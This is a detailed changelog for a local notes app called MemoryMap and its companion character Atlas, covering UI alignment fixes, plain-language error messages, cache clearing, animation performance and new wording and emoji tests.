+- Graph: the View menu is gone; layout, colour, size, Trace and the legend are the first section of the gear's panel (Display options), so there is one way in. Pressing Legend no longer closes the panel it is in.
+- Library, Documents on a phone: Reload moves into the dock's more menu, so the new ? does not wrap the dock to a second row (114px, as before).
+- Library, Boards and maps: one New button in the top bar with Whiteboard and Mind map inside it, in place of the two create buttons (the sentence-case rows keep the same keyboard keys, the tour and the Guide say where they went).
+- Reminders: the add card has one worded Add. The sentence box's button is now the wand alone, named Add from this sentence.
+- Library: the All, Documents and Bookmarks sub-tabs end their top bar with a ? saying what the sub-tab holds, like Boards and maps, Images and Files already do.
+- Settings: "Load the search model when the app starts" chooses a faster first note or a lighter start; four filing and image switches that never saved now do.
+- Callouts in the Live view show their kind once: the icon (with a caret, the kind picker) and the title as the line's own text, no ">" or "[!note]" even with the caret on the line, and an empty body says what goes there ("Write the note"). The "/" menu no longer writes a stock question into the body, and the Guide has a Callouts entry.
+- The "m" guide is a command panel: Go to and Do as rows with an icon, the name and the key in one column of key chips, the tab you are on marked, the Close in its head and a hint line at its foot. Every key does what it did.
+- Chat: the Attach panel is redesigned: one height for every source, a count on each source's tab, rows with an icon or the file's own glyph, the name over one line of facts and a check that fills when the row is on, pictures as a grid, loading and empty states, and keys (arrows, Space, Enter is Done, Escape). The search no longer draws a second box over itself when it is not focused, Clear also takes off pictures, a note's picture is sent as the file it is, and a new document shows the next time the panel opens.
+- Notifications: one notification can be removed with the cross beside its read circle; a removed overdue reminder stays removed.
+- Tests: a ratchet (`tests/test_no_ui_emoji.py`) fails the build on any emoji, dingbat or pictograph in the UI's scripts, markup or stylesheets, with the documented data cases (Markdown shortcodes, math tables, emoji matchers, the colour-blind status marks) allowed by name; the inventory it came from is `scratchpad/emoji-icons-506.md` (INBOX 506).
+- Icons: one icon per action: deleting a backup or a saved look is the trash can (it was a cross), Rename is the plain pencil in the file menu, and the graph's Undo is the counter-clockwise arrow the rest of the app uses (INBOX 506).
+- Icons: the scroll-to-top and jump-to-newest buttons, the Models connection note, the live-log pill, the duplicate finder's Merge button, the callout fold chevron and one help line are Phosphor icons now, not typed arrows, dots and symbols (INBOX 506).
+- Icons: the marks drawn by CSS (plan-step ticks and crosses, retry, replan and paging marks, the chat title's pencil, the timeline's sort arrows, the active-item check in menus, the two disclosure carets) are Phosphor icons now, not typed characters, so they share the icon font's size, weight and alignment (INBOX 506).
+- Notes: a card's text sits further in from its edge and its metadata steps back: the category reads muted at the body weight and link chips are muted until pointed at, so the note's words lead.
+- The app emblem no longer throws "appearancePref is not defined" when drawn before Settings has loaded; every Settings helper it uses is checked first.
+- The repository no longer sends new issues to GitHub's AI models for a summary (the `summary.yml` workflow is gone); CodeQL, which is static analysis and free on a public repository, stays.
+- Timeline rail: each glyph is centred in its circle (INBOX 503, "the timeline icons on the left arent centred in the circles"). The 18.4px circle and 12.88px glyph box left a fractional gap that the two rounded on their own, so each kind of glyph sat off by its own amount. An even circle and glyph box (`round(..., 2px)`, with the old sizes where `round()` is unsupported) leave whole pixels. Measured on the painted ring, glyph ink against the circle's centre (`badgealign.js`): at 1x the note, map and document glyphs were 1.0px off and the bell and clock 0.5, now 0.5 at worst; at 2x the worst was 1.09 across and 1.0 down, now 0.64 and 0.5. At 3x a glyph still paints on a whole CSS pixel while the circle paints on the device's, so up to a pixel of per-row jitter stays.
+- Badges: the icon and the words sit on one centre line, and it is the badge's own (INBOX 503, "the text and icons are properly aligned and spaced", "vertically centred as well as aligned with each other"). A flex row centres boxes, and the words' line box is not where the eye reads them, so the old fixed drop on the icon was right for one chip and wrong for the rest. Every chip's words are now a `.ph-text` span trimmed to the x-height band (`text-box: trim-both ex alphabetic`), the icon is centred in its box, one `--space-1` gap (was 3.4, 3.6, 4 and 4.8px), and a `:where(.chip)` height floor keeps every height. Measured by ink at 3x, 1440 and 390, light and dark (`badgealign.js`, `badgesum.js`): the status labels ("Installed", "Fits", "In use for chat") had the icon 1.17px low against the words and the words 1.1px above the label's middle, now 0.28 and 0.44; the map chip's icon 1.5px low, now 0.17; the reminder chip 0.83, now 0.17; the repeat chip on a phone was 2.4px low in its own fill, now 0. Note-meta chips ("Tag with Atlas", "No tags yet") keep the icon within 0.17px of their words; their words sit about 0.2px further from the middle than before, because Chromium paints text on a whole CSS pixel. Where `text-box` is unsupported the old drop stands.
+- The app emblem no longer throws "ACCENTS is not defined" when it is drawn before Settings has loaded (the assistant avatar on the lock screen); it reads the page's accent colour instead.
+- Help: the Guide's troubleshooting topic and its manual steps send "looks out of date or broken after an update" to Settings, Import & export, Clear app cache (new keywords: out of date, clear cache, stale, after an update), and the Import and export topic names the App cache group (INBOX 487).
+- Settings, Data, Clear app cache (INBOX 487, "should there be a way to clear the cache??"): unregisters the service worker, empties Cache Storage, drops the server's compressed copies and reloads, with a toast first; nothing in the notebook is touched. The Reload the app button and Ctrl+Alt+R clear the same things. Found by it: the emblem loaded p5 at the first idle moment, so on a slow load `renderEmblem` threw on `ACCENTS` before settings.js had run; it now waits for the load event.
+- Server: `POST /system/clear-static-cache` (behind the unlock) deletes the compressed static-file copies in `<data dir>/cache/static-gz` and empties the in-memory copy; nothing in the notebook is touched. The server half of Settings, Data, Clear app cache (INBOX 487).
+- Dialogs: a head keeps its height when the card fills, so Find anything's hairline no longer crosses its title and buttons, and its search field has room under the head.
+- The Guide: Atlas's reply bubble is full width from the first frame instead of a narrow box that widened as the answer came in.
+- Chat and Ask read the text in a note's pictures when the note is mostly a picture, not only when it is attached by hand: a screenshot of typed ideas reached the model as a link, and each picture's reading may now run to 1,200 characters (was 240).
+- The Thinking fold is one panel when open, its summary the head, and the reasoning is set as Markdown (bold, lists) with the prompt's data markers taken out, in Chat, Ask, the palette and the Guide.
+- Chat: a reply's copy, regenerate and fork row can no longer show over the open Attach panel.
+- Help: the addresses topic says how to link to one thing (Copy app link in a note, document, board, mind map or chat menu, pasted into a note to open in the same window) and tells it from Copy wiki link; DESIGN.md's recipe index gets the Copy app link row (INBOX 483).
+- An address of this app pasted into a note or a document (a link or a bare address) renders as a link that opens the view in the same window, labelled with the view's title or "Note 12"; it must be this origin and page and a route the router opens, so other links keep their new-tab behaviour and the safe-scheme rules are unchanged. Ctrl+click on one in the document editor opens it in the same window too, and its right-click menu offers Copy link address (INBOX 483).
+- Copy app link (INBOX 483, "can there be easy ways to copy the address of various notes or objects"): a note's card menu (under Connect), a document (the Documents list, the Library rows and the editor's menu), a board or mind map (the gallery's menu and the open board's Board menu) and a chat (the list row and the header menu) each copy the address that opens it in the app; the existing "Copy [[link]]" rows are now "Copy wiki link", and the board gallery and chat row menus are grouped past five rows.
+- The router has one table of addressable objects (`ROUTE_OBJECTS`) behind `routeHash` and the new `routeHashFor(kind, id)`, and `copyObjectAddress(kind, id)` copies an object's full address (origin, path and hash) through the shared clipboard helper and toasts "Link copied" (INBOX 483, the helper the Copy app link rows use).
+- Notes: the x on a suggested tag, a link or any chip that ends in one is drawn as a cross centred on its target, quiet at rest, red with its disc on hover; it was a font glyph nudged by hand inside a grey disc.
+- The Library sub-tab bar hides while a whiteboard or mind map is open, at every width, as it never showed on the documents editor; the board's own Boards button brings the list and the bar back (INBOX 476)
+- The popup agent's head has room above its input: the head keeps the Find anything head's bottom padding and no longer shrinks under the starters, so the avatar stands 21px above the field instead of 5px (INBOX 475)
+- A note's connections row has a Show less after +N more links (it opened and could not close again), and a connection chip reads plain words: a link shows its text, no brackets, no URL, no ** or _ (INBOX 474)
+- Notes list: a long note's clamped preview shows 4 lines by default (3 compact, 5 spacious), up from 2 on desktop and 1 on a phone, through one `--note-preview-lines` token; blank lines still collapse while clamped (INBOX 473)
+- Companion: it comes on screen a way that suits where it lands and not the same way twice (INBOX 501, the owner: "it just kinda appears ... or even differences on how it gets there"). Each place has its ways (hanging: down from the bar or gathering out of starlight; the bottom bar: up over it or gathering; near a side: walking on, gliding in or gathering) and the last one is left out; the climb fades up over its first half (136 to 200ms before, 210 to 290ms now). Measured on the dashboard: the climb down five times in five before, two ways alternating now (`scratchpad/ui-sweeps/companionarrive.js`). Reduced motion still fades in where it is.
+- Companion: an act or a walk cut short eases back instead of snapping, and Atlas's expressions settle over 0.6s instead of 0.2s (INBOX 497, the owner: "less sudden beginning and stopping of actions"). Before, taking an act off mid-way put every part back at rest in one frame (7 to 22px, against 2 to 4px a frame while the act ran); now the parts are read where they are and eased back over 480ms, unless motion is reduced. `scratchpad/ui-sweeps/companionblend.js` measures it.
+- Atlas, feminine look: no thin strings rising from the lower body, and a soft sash at the waist (INBOX 480, the owner: "two wierd thin string like appendages coming from the feminine atlas lower body up top"). The strings were the ribbon tails' lit edges and pale streams; the tails are fills alone, and the waist the gown hangs from is a filled lilac band with a sheen and no outline, in every pose.
+- Companion: Atlas's pupils stay inside its eyes wherever the pointer is (INBOX 497, the owner: "the pupils basically go off the head and you can only see white eyes"). Four offsets added up on its iris (the generated faces' eye moves, its own look, the mood's pupil placement and the lean), measured at up to 3.3 times the pupil's room; now the aim is held inside a circle rather than a square, the generated faces' moves are not Atlas's, its look is scaled to the room, and the mood's own placement eases aside while it looks. `scratchpad/ui-sweeps/companioneyes.js` tests every point of each pupil against its white at four poses, both looks and six moods, the gaze at the 8 compass points and the window's corners: 0 outside (was 286 of 320 at calm).
+- Atlas, feminine look: her hair meets the brow as a side-swept fringe, not a night cap (INBOX 480, the owner: "it still looks like she's wearing a night cap"). The smooth dome's arc of a hairline and its parallel strand lines are gone; the hair parts off centre and sweeps across the brow in three soft locks of different lengths with the forehead showing between them, a fine shade up each notch, and a small star pinned at the parting. Masculine pixel-identical.
+- Atlas, feminine look: the gown flows into five broad ribbon tails instead of three thin folds that read as a tripod (INBOX 480, the owner: "less like a tripod and more like whispy ribbony/flowy tails", then "too thin and stick like ... seem like they sprout from th emiddle bottom"). Rooted across the dress's lower half and fading in over it, 7.4 to 9 across at the root, each sweeping out past the hem with a twist and a lifted wisp; a back tier in the nebula's lilac and a sheer front tier, each its own layer drifting on its own clock (6.3s and 8.1s, on their boxes, the compositor's) out of step with the gown. Poses, walks and gestures take them as the gown; companion cost within noise.
+- Atlas, feminine look: her lower body is a gown with a train, not a pale skirt of straight strands (INBOX 480). Close at the waist with a soft hip and a trumpet flare, its colour deepening from her skin's light to the nebula's violet at a hem of two slow waves, a sheer overskirt as a second tier, a train behind in the nebula's colours sweeping toward the comet tail, a lit hem, stars, and three fine folds of light that open with the flare. Every pose keeps its shape (sit pools, hang falls, float trails), the sway is the layer root's as before, the lower layer holds 13 elements where it held 25, and the masculine look is pixel-identical (companionshots.js).
+- Atlas, feminine look: the brow is one small star set in the swept hair at its peak, in a faint halo; the lit hairline, the dust at its roots and the circlet of dots on a thread, four arcs of light from wing to wing that read as a stray headband, are gone, and the hair meets the brow in a soft shade (INBOX 480). The masculine look is unchanged; `scratchpad/ui-sweeps/atlasgown.js` draws the brow close up and every pose.
+- Companion, large view: its speech line sits in its bubble again (INBOX 481); the bubble was a 15px box behind the first letter with a 132px line running out over the art, because the stage's `right` and the figure's `left: 100%` both applied. A bubble now takes its width from its words, wraps inside the window past 16rem, and `scratchpad/ui-sweeps/companionsay.js` measures every pose, both looks and the large view at 1440 and 390.
+- Chat: the '?' (About this chat) is in the dock with every other tab's help, before the ⋯, and stays there once a conversation has messages; it was in the empty welcome's corner and went with it (INBOX 479).
+- Library, Files: the search field is announced as "Search the files" (it kept the Images gallery's name on the sub-tab that shares it) (INBOX 479).
+- Boards and maps: the board picker in the top bar shows the board's name below 1216px wide, growing into the bar's free width up to 14rem and giving way first when the bar is full (it was capped at 8rem, "Board · ..." at 820 beside 89px of empty bar); nothing overflows at 1152, 1024, 820, 780 or 390 (INBOX 479).
+- Top bar, 600 to 1199: when the tabs take a row of their own, their well is drawn round the tabs and centred (446px at 820) instead of across the whole window (788px round 430px of tabs); the header's height is unchanged (INBOX 479).
+- Mind maps: the top bar's Map chip is a fact (the dock's quiet chip, as the Graph's count) rather than the filter chip's pressed state, which read as a toggle that did nothing; the tool rail is one height again, the layout picker and the Map section's '?' at the tools' 36px (were 28 and 32) (INBOX 479).
+- Settings: the head is the dialog head every popup wears; profile, guide, Back and Forward are 32px like Close (were 28px beside it) and the title takes the dialog title's voice (INBOX 479).
+- Top bar: the space picker wears every dock select's face (the field's inset ground, the 3:1 edge, a 400 label) instead of the tinted, bold quiet-button face that made it louder than the selected tab; Lock and Quit sit past a drawn seam, the status bar's own hairline with 8px either side, where they were 16px from Settings with nothing between. Every item stays 44px on one centre line.
+- Status bar: each glyph meets its word (INBOX 494). Measured by ink at 3x, glyph centre against the label's x-height centre: Ask was 1.83px high, Guide 1.67, the notebook count 1.17, the Ctrl K chip 0.83, reminders 0.67, Find 0.50; now every one within 0.5px, light and dark (`inkalign.js`).
+- Dashboard: arranging the page is its own control (INBOX 488). The dock is the search, Customise and the ⋯: Customise holds View, Widgets, Edit layout, Edit quick access and Reset quick access; the ⋯ keeps Continue, skills, Tools & features and Commands; the Quick access row's own ⋯ is gone, so no menu opens over another menu's button. On a phone Customise is its glyph beside the ⋯. The Guide's dashboard topic says the same.
+- Docks: a zone that wraps onto a line of its own no longer opens that line with the hairline that parts it from the zone before (7 docks at 640, 3 at 768 and 820; now 0), and a line that starts at the dock's edge lines up with the title above it; read from the layout by `markDockLineStarts` (phone-shell.js) without changing any zone's outer width, so no wrap moves (INBOX 479).
+- Developer sweeps: the dock and bar audit for INBOX 478 and 479 (`scratchpad/dock-audit-479.md`): every top and bottom bar control by control at 1440, 1024, 820 and 390, light and dark (`barinv479.js`), wrapped-line hairlines (`dockseams.js`) and the graph's corner (`graphcorner.js`); 14 findings ranked, a target layout per bar, and the de-vibe pass (`devibe.js` and `vibecheck.js` both 0).
+- Settings and Help: an open section's arrow points down again; since this morning's one-marker change every one of 109 folds kept it pointing right.
+- The messages the server computes for a toast now read as plain sentences (INBOX 472, the 45 computed `detail` routes): install hints name what to install in Settings, Packages instead of a `pip` line, an AI failure in Improve, Title, chat summary and Models is one sentence with the provider's text in the log, a damaged backup restore answers 422 with a sentence instead of a bare 500, and `tests/test_core_message_wording.py` checks the sources of those messages (and that no route shows a raw exception)
+- Web search and SearXNG setup messages read as plain sentences: the transport's error, the command's own output, `virtualenv`, `setup.py`, `docker logs` and an environment variable name no longer reach the toast; each goes to the log, and the message points at Settings, Logs (INBOX 472, computed messages)
+- Library: Boards and maps selection ticks sync under the Maps and Boards chips (no card got a tick while one was on, so Select all and bulk Delete were dead); the tick sync and the gallery narrow through one function.
+- Settings: the Find duplicates slider keeps a real width at 390 (was 6.8x16px in a wrapped row; now a 221x44 line of its own) and takes the touch floor, 28px with a mouse. The touch sweep now measures Dashboard, Timeline, Reminders and seven Settings sections (they read 0 controls and passed), and measures a slider by its own box.
+- Notes: the empty state's Ask Atlas offer is one line at 390 ("Ask Atlas where notes go", 192x44; the two-line label was 332x46); the question it sends is unchanged.
+- Chat: the suggestion chips (and Ask's suggested and recent questions) take the touch floor: 44px tall under a coarse pointer or below 820, 28px with a mouse as before (were 28px at 390).
+- Chat, no model: the Try asking chips ask in Notes, Ask, which answers from the notes without a model; with the box closed they still sent to Chat, and "Summarise my notes" over two saved notes answered "I couldn't find any saved notes" (INBOX 472, first run)
+- Welcome, setup card: one mark (the stethoscope under the app's emblem is gone), four lines instead of six at 1440 (the first card's privacy sentence and "0.0 MB so far" are not repeated), no comma splice, and with no model running a Connect a model offer that opens Settings at Models (INBOX 472, first run)
+- Empty states say it once, as a title and one sentence: the empty dashboard's card is "How MemoryMap works" under a hero that says "No notes yet" (both said "Your notebook is empty," as comma splices), its footer is one line, the Library's All view titles "Nothing here yet" with its sentence under it (it was two bold sentences), and Bookmarks says what a bookmark is (INBOX 472, first run)
+- Dashboard, empty notebook: the start tiles draw the Quick access tile's two lines (label 600, description 400 at the small size); they were 900 and 600 a row below 600 and 400 (INBOX 472, first run)
+- The AI status dot with no model connected is a calm grey ring (the one Settings, Models draws beside "isn't running"), not an amber "!": on a phone it was a 44px amber circle in the top bar, the loudest thing on a new person's first screen; its popup now says Settings, Models connects one (INBOX 472, first run)
+- Graph: a notebook with no notes says "Nothing to map yet" with Capture a note; it said "Every note is hidden. All 0 notes are filtered out" with a button that could show nothing (INBOX 472, first run)
+- README: Meet Atlas is a title, a one-line headline, two sentences and Atlas delighted; What it does names this week's work (shape text and connector labels, map tasks, notes behind a topic and numbered branches, documents that reopen where you left them, faster starts, plain error messages) and Manage categories; the frontend's script count is 64 (INBOX 431 (g)).
+- README screenshots retaken in the dark theme from the showcase notebook: 22 pictures (the dashboard, Notes, Ask, Chat, the graph with dense clusters, a sparse web and loose notes, the Library and Activity, Timeline, Reminders, Documents and focus mode, a board with shape text and labelled connectors, a mind map with tasks, notes and numbered branches, the palette, Tools and features, Settings, Your look, the popup agent, the corner companion, a light and dark split, a phone, and Atlas delighted), each under 400 KB; `readmeshots.js` takes them all, `pngshrink.py` keeps the graph's colours when it reduces the palette (INBOX 431 (g)).
+- Chat: a turn answered fast no longer saves as two conversations; the save at the end waits for the agent round's checkpoint when one is still creating the conversation (the same question was listed twice, 43ms apart, one of them half a turn) (INBOX 431 (g)).
+- Library, Activity: a change to a board, a board item, a drawing, a bookmark, a model, your private notes, a recording, the search index or your notebook's data now reads in words ("Edited a board item"), where it read "Edited whiteboard_object" or "Edited board"; a test fails on any logged kind with no phrase (INBOX 431 (g)).
+- Developer sweeps: `seed-showcase.py` builds the README's notebook on a fresh data dir through the API: 75 notes in seven categories over seven weeks, 87 links (39 with a reason) in two dense clusters, a looser one, a sparse web and loose notes, reminders, three documents, a board with shape text and labelled connectors, a mind map with tasks, notes and numbered branches, and saved chats (INBOX 431 (g)).
+- Mind maps: a task count on a coloured or filled topic takes the label's ink; the muted grey there measured 4.39:1 on the blue tint.
+- Settings, Logs: the server's line for every request is hidden unless "Show request lines" is on in the log's menu; on a fresh start they were 505 of 510 rows.
+- The dashboard greeting ends in a full stop or a question mark, never an exclamation mark, like the rest of the app's copy; an older cached greeting corrects itself on the next render.
+- A test now holds the wording of every server error message (tests/test_server_detail_wording.py): each one has to read as a sentence with a full stop, with no field name, path, dash or exclamation mark, because the toast shows it as written; the voice and update messages were tidied to pass (INBOX 472)
+- Error sentences, whiteboards and mind maps: the messages that named fields ("needs a ref_id", "/media/... url", "No node with id 12") and the XML import message that printed a <!DOCTYPE> tag now say what to do in plain words (INBOX 472)
+- Error sentences, models, settings, spaces and the timeline: a model that is not running now says to start it, a space name or icon that is not accepted says what to do instead of naming the field, and the timeline's bad-value messages read "Pick one of: ..." (INBOX 472)
+- Error sentences, files, reminders and the learned page: "File is missing from disk", "No upload with that id", "no such derived fact", "as_of must be YYYY-MM-DD" and the image-reading hints now read as sentences a person can act on ("No installed model can read images. Install or pick one in Settings"), and no longer name a field (INBOX 472)
+- Error sentences, notes, documents and chat: a missing note, document, bookmark, link, revision or conversation, a date written wrongly, a private note that needs unlocking, and a skill missing an input now each say what happened in a plain sentence with a full stop, and name no field ("boards must be one of", "action must be keep or fallback" became "Pick one of...") (INBOX 472)
+- Error sentences, sign-in and backups: what the server says when a request is refused (the app is locked, a wrong password, a throttled unlock, a missing backup, a bad bookmark address, a category that cannot move) is now a plain sentence with a full stop, and an unexpected failure says to try again and where the log is, instead of "Internal error" (INBOX 472)
+- The unlock check no longer queries the database on every request: once a password is known to exist it is remembered for ten seconds (only the yes, so the gate can only ever be stricter), 0.4 ms off each of the forty-odd requests a start makes.
+- Settings > About names the licence (GNU AGPL v3) under the version, and a version that cannot be read says so instead of "Version ?" (INBOX 472)
+- Copy: the start-up failure notice lost two escaped em-dashes, two toasts lost their exclamation marks, and the SearXNG settings line no longer says "JSON API" (INBOX 472)
+- Error messages read as sentences: a failed request no longer toasts a raw JSON list, "Internal error", "Not Found", "Failed to fetch" or "Upload failed (500)"; the plain wording comes from one function, and the raw text still goes to Settings > Logs (INBOX 472)
+- Faster starts and every request: each stylesheet and script is compressed once per version and kept on disk (the 448 KB stylesheet went from 22 to 46 ms per fetch to 4 to 6 ms, the first fetch after a restart included), and the two remaining `BaseHTTPMiddleware` layers are pure ASGI, 0.3 to 0.8 ms less on every request.
+- An Atlas look with legs no longer restyles the page through a leap or a glide: the two leg roots (`<svg>`, where Chromium never composites `rotate` and `scale`) sit in boxes like the body, tail, skirt and nebula, and the limb gestures turn the boxes. No shipped look draws legs yet; with them switched on, a leap's 2s window fell from 102ms and 59 style recalcs to 60ms and 36, frame for frame the same pixels.
+- The Atlas companion's pose, lean, variant and walk properties no longer restyle all 528 of its elements at a time: `--atl-lean-dir`, `--atl-v1`/`--atl-v2`, the pose's lean, scale and tail, the walk's tilt and way, and the figure's lie shift are registered not to inherit and written on the few elements that read them, so one change of `data-pose`, `data-lean` or `data-atlas-variant` costs 9, 4 and 4ms of style recalc (25, 16 and 15 before) and a walk's start restyles 52 elements, not 528. The large view's ledge no longer uses a `:has()` on the companion's `data-pose` (it made every pose change restyle 968 elements); the figure carries a copy of the pose instead. Every shot (looks, moods, lie and curl in all three variants, lean, four mid-float frames) matches the old pixels, and every computed arm, figure and lean value matches.
+- The Atlas companion's skirt gestures in a float or glide (the `rotate` limb loops on its `<svg>` root, never on the compositor) run on the same kind of box, so a float costs about half the style recalcs and a third fewer layouts (122ms to 69ms of recalc in the 2.6s window, 62 to 39 recalcs, 35 to 24 layouts).
+- The Atlas companion no longer restyles the page every frame at rest: the body's sway, the tail's and the nebula's flow ran as `rotate` and `translate` loops on `<svg>` roots, which Chromium never puts on the compositor, so each cost a style recalc per frame (108ms of every 2.6s idle, now 7ms). They run on a plain box around each root, and the figure looks the same, frame for frame.
+- Documents: a document reopens where you left it, the caret and the place you were reading, including after a reload (kept per document in this browser, the 60 most recent).
+- Documents: the breadcrumb above the writing follows what you are reading: scrolled away from the caret in a long document it names the section in view (the same one the outline marks), instead of staying on the caret's section.
+- Documents: in a long document, jumping to the middle (the scrollbar, a search hit) no longer leaves headings drawn as raw `###` text in the Live view; the view repaints when the parser catches up, which it used to do only on the next key or scroll.
+- Developer sweeps: switchdivider.js measures each Settings switch row's hairline against its group head; the INBOX 464 audit records items 9 to 20 as fixed, with their numbers.
+- Dashboard on a phone: the search field runs to its menu button with the bar's usual gap (it stopped 19px short).
+- Library, Bookmarks: the empty state no longer repeats the line under the bar; it is its title and Add a bookmark.
+- Settings, Data: importing markdown files, a folder or a document is one step: the button opens the picker and choosing starts the import, with Undo in the toast that moves exactly the imported notes to the recycle bin (it was choose, then a second Import button).
+- Reminders: Quick set takes the steppers' rounded shape, so the When row draws one corner instead of two.
+- Chat: the Ask Atlas offer in an empty chat is one line on a phone ("Ask Atlas what it can change"), and on a phone every Ask Atlas offer takes a button's corner rather than a pill, so a longer question no longer wraps into a capsule.
+- Library: Everything and Boards & maps count boards the same way; the empty default board no longer counts (or shows) as a board in one and not the other, and a notebook with no boards shows the New board empty state.
+- Folds in Settings, the help guide and task logs show the same caret as the Library's Contents and outlines, where they drew a small triangle of their own.
+- Settings: the line between two switch rows stops where its group head's underline does (it ran 9px past it on each side), and on a phone the Tools list no longer runs 4px past its pane.
+- Dashboard: a widget with nothing to show offers the one thing to do about it (Add a reminder, New board, Add a bookmark, Ask a question, Show untagged notes and so on), opening the tab it lives on first; eleven widgets were a sentence only.
+- Top tab bar: choosing a tab no longer nudges the tabs after it sideways; the selected label is drawn heavier without getting wider (it moved the rest by up to 6px).
+- Timeline: a row's title runs to the row's edge; long first lines were cut at 120 characters with most of the row still empty.
+- Settings: the Tools, Personas and Help panes open on one line of description (Tools had three); "turn one off and Atlas is never offered it" now sits over the tool switches it is about.
+- Library Images and Files: the empty state's button is Upload, the verb its bar already uses (it was Capture a note); Settings → Models no longer says "Ollama isn't running" twice in two lines.
+- File pickers (Import markdown, Import a document and the rest) look like the Import button beside them: the same face, edge and weight, where they wore that button's hover colour and a near-invisible edge.
+- Library previews keep a document's or note's blocks apart: a heading, a list item or a table row is followed by a dot ("Goals · Ship the notebook redesign · Cut travel spend by 15%"), where they used to run on as one sentence.
+- Command palette on a phone: the keyboard hints and key chips are gone where there is no keyboard, and the field's prompt ("Search notes or run a command…") fits its box.
+- Settings on a phone: the head is one row again with Close in its corner, on every section and down to 320px (it wrapped onto a second line); the profile face and Back and Forward give way to the section picker, and below 380px Peek is its eye alone. Reminders' empty state no longer says "add one above" where nothing is above.
+- Settings: switches line up with the heads, labels and hints of their group; every switch row sat 9px inside that edge.
+- Settings: every section head after a pane's title now heads a group like the rest (Personas' Answer style, Dashboard greeting, Add your own and Share; Templates' and Skills' last; Web search's three), instead of sitting loose on the pane in a smaller voice.
+- Appearance, Assistant avatar now reaches Ask's answer, the writing room's draft and the guide's chat rows: each opens with the same reply head as Chat (the Atlas or app emblem face, then the name), repainted live when the setting changes.
+- Notes filed in the background settle in tens of milliseconds, not 1 to 4 seconds: the embedding of a note-sized text now runs on one torch thread (`MEMORYMAP_EMBED_THREADS` to change it), which was 2.2 s against 79 ms whenever the machine was busy.
+- Toasts raised while a dialog is open (Quick note, any dialog's Undo) now show inside it and can be pressed; they were drawn behind the dialog.
+- Settings, Appearance, Atlas and faces (INBOX 463 (2)): Assistant avatar picks the face on the assistant's chat replies, the popup agent and the Atlas guide: Atlas (the default) or the app's animated emblem, still under Reduce motion. Open replies change as you choose; other personas keep their own faces.
+- Colour contrast (INBOX 464): a new sweep, `contrastui.js`, measures what `contrast.js` could not (icons, SVG icons, focus rings, field and select edges, selected states, chip edges; WCAG 1.4.11, 3:1). On the default look it found 79 failures at 1440 in light and 74 in dark; all are fixed through one token, `--control-edge`: text fields, select openers, date inputs and suggestion chips draw it, a selected segment and a chosen radio option are outlined as well as tinted, a field's hover edge is no weaker than its resting edge, the caret icons are no longer dimmed by opacity, a focused composer's edge is the accent text colour, and the palette's lit row shows its keycap and description in ink. High contrast makes the edge ink.
+- Motion (INBOX 459 (2)): switching tabs fades the new page in briefly instead of swapping it between two frames; instant with reduced motion on.
+- Motion (INBOX 459 (2)): folding a sidebar to its rail, or unfolding it, moves its contents toward or from the rail in a short fade instead of in one frame, and focus mode's Sidebar and Suggestions panels slide in from their edge.
+- Motion (INBOX 459 (2)): the chosen option's highlight now slides to the next one in every segmented control, the top bar's tabs, the Notes and Library sub-tabs and the Settings section list, instead of vanishing and reappearing; it is instant with reduced motion on.
+- Clear: Capture (with its title, tags and staged files), Quick note, Ask, Chat and the popup agent each get a quiet eraser button that shows only while the box holds something, and Undo puts the words back.
+- Manage categories: a category's note count is quiet text after its name ("Hobbies · 10") instead of a pill on every row.
+- Companion: the resize ring no longer shows on the companion in its enlarged view.
+- Documents: focus mode has a Sidebar button on its bar that opens the document list and outline as a panel on the left (Esc closes it); a reload in the session now also restores Tools and the idle fade, which an initialisation-order error had been dropping.
+- Companion (INBOX 455 (2), 469): it goes from place to place by the shape of the move: a walk along its ledge, a hop, shuffle or scoot for a small step, a leap with a crouch and an arc between ledges, a climb along and then up or down an edge hand over hand, a glide for long ways and a soft materialise past that; Atlas floats and glides. A new place chosen mid-move takes over at the speed it had (the hand-over frame went from 35px to under 15). Coming into a tab it walks or glides in from the side of the tab it left. Its arms swing as it walks, reach as it climbs, go out for balance on a leap and like wings on a glide, Atlas's hem trails, and a new act starts with a small lift of the arms. Reduce motion is still a short crossfade.
+- Companion (INBOX 462): a folded sidebar is no longer a perch. On Chat and Documents it used to sit on in the air over a row of the folded rail; folding the sidebar now sends it to the nearest perch it can be seen on, by the way it moves.
+- Reminders: switching Open, All and Done no longer flashes loading placeholders; they show on the first load only.
+- Settings: after clicking a section, the arrow keys walk the list of sections, and Page Up and Page Down scroll the open section.
+- Badges (INBOX 461 (1), 468): every status word is the one label recipe, an 11px word in a hairline box with its tone on the edge and icon: Packages' "Installed" and "Not ready yet", SearXNG's "Stopped" or "Running", Tesseract's state, a tool's "confirms first" and "online", the installed model's "in use", and a model card's "Fits", "Tight fit", "Installed" and "In use for chat" (they were four fills at 21 to 23px beside 19px labels). A suggested model card's labels are a row of their own above its actions, one line at 1440, 1100 and 390 (the foot had wrapped into up to three).
+- Notes (INBOX 455 (1)): a note's details line is one line on every card. Tags and suggestions that do not fit fold into one "+N" that lists them (a tag filters, a suggestion is taken), then the other facts keep only their icon; the time is always the line's last fact at its right edge (at 1100, 6 of 10 seeded cards wrapped and the time sat on a line of its own on some; now none, one date x per width at 1440, 1100, 820 and 390). The low-score warning sits beside the category.
+- Top bar: the logo, the space picker, the tab strip and the icon buttons share one 44px height on one centre line; between 1100 and 1439px the wordmark gives way so the tabs stay on one row.
+- Whiteboard: the Library panel's note rows light up under the pointer and show two lines cut at a word; an active button's icon (Library, and every pressed quiet button) takes its label's colour instead of fading into the accent.
+- Settings: a section's jump strip marks the heading you chose, even near the end of a short page where it used to mark the last one.
+- Dashboard: the Start something row is now Quick access: the same five tiles until you change it, then add any command from the palette (up to eight, with the line it already says), remove, drag to reorder or use Move left and Move right in a tile's menu, and Reset to default, all from the section's own menu; kept per user in preferences (INBOX 461).
+- Notes: a long note's folded preview shows two lines of its text again; blank lines after the title or between paragraphs had left it a lone "...".
+- Assistant bubbles (INBOX 457, 458): the popup agent's Thinking box sits under Atlas's name, not above it, and every thinking box (Chat, the popup agent, Ask, the Guide, Write with Atlas) is one fold: the same summary as the steps and sources folds, a rail, body text, a 12rem cap. The popup agent's bubble reads like Chat's (name, thinking, steps, answer, sources, facts, actions, with even 6px gaps); its copy and retry row no longer covers the sources; its sources are one list without duplicates, a row per note (title, category dot, date); its run facts are Chat's one muted line, a long model id cut short with the whole id on hover. Scrolling up while an answer streams now holds in the popup agent, Chat and the Guide until you come back to the bottom.
+- Notifications: every row is inset 8px on both sides, so the unread dot and the read toggle no longer sit on the panel's edges.
